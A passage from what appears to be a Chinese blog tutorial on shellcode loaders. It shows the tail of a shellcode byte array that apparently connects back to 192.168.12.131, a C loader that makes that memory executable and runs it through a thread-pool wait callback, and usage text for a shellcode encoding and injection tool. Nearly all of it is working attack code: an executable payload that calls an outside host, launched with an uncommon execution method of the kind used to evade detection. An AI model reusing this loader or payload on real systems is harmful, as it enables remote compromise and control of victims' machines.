7d\xe0\x73\x89\x22\xa1\xcf\xe1\xa7\x81\xde\x2d\x58\x07\x06\xa5\xc6\x40\xca\xa7\x48\x0f\x84\x95\xcb\x09\x1b\xd7\xd5\x7f\xa3\x8f\x71\xaf\xc0\xa5\x8a\xf6\x12\x2c\x71\xe5\x51\xc6\x9c\x1f\x05\x71\xbe\xca\xe8\x4a\x82\xa8\x1e\xb3\x01\xdb\x87\x45\xb7\xdb\xa9\x90\xbf\xa3\x28\x30\x54\x2c\x74\x92\x84\x76\x10\x7f\x96\x80\x47\x79\xfe\xf7\xd2\xc7\x56\xa1\xc3\xb5\xf4\x55\xa3\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x32\x2e\x31\x33\x31\x00\x00\x01\x86\xa0";
void main() {
	// 定义一个DWORD变量,用于存储原始内存保护属性
	DWORD oldProtect;
	// 修改shellcode所在内存的保护属性为可读、可写、可执行
	VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
	// 创建一个事件对象,初始状态为有信号状态,使用默认安全属性,非手动重置,无名称
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	/*
	CreateThreadpoolWait用于创建一个线程池等待对象的函数,
	程池等待对象允许您在等待内核对象(如事件、信号量等)变为有信号状态时执行特定的回调函数
	其语法格式如下:
	PTP_WAIT CreateThreadpoolWait(
	PTP_WAIT_CALLBACK pfnwa, //指向回调函数的指针
	PVOID pv, //传递给回调函数的参数
	PTP_CALLBACK_ENVIRON pcbe //指向线程池回调环境的指针,置NULL则表示使用默认的环境
	*/
	// 创建一个线程池等待对象,关联到shellcode作为回调函数,回调函数参数和线程池环境为NULL
	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)sc,
		NULL, NULL);
	/*
	SetThreadpoolWait函数用于线程池中添加等待对象的函数。
	当等待的内核对象(如事件、信号量等)变为有信号状态时,线程池会调用与等待对象关联的回调
	函数
	其语法格式如下:
	VOID SetThreadpoolWait(
	PTP_WAIT pwa, //指向要添加到线程池的等待对象的指针
	HANDLE hObject, //要等待的内核对象的句柄,当这个内核对象变为有信号状态时,线程池会调用
	与等待对象关联的回调函数
	PFILETIME pftTimeout //指向一个FILETIME结构的指针,表示等待超时的时间
	);
	*/
	// 将等待对象添加到线程池中,当事件对象event触发(变为有信号状态)时,线程池会调用与threadPoolWait关联的回调函数
		SetThreadpoolWait(threadPoolWait, event, NULL);
	// 等待事件对象变为无信号状态(表示shellcode执行完毕),无限等待
	WaitForSingleObject(event, INFINITE);
}

10:创建纤程运行

Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值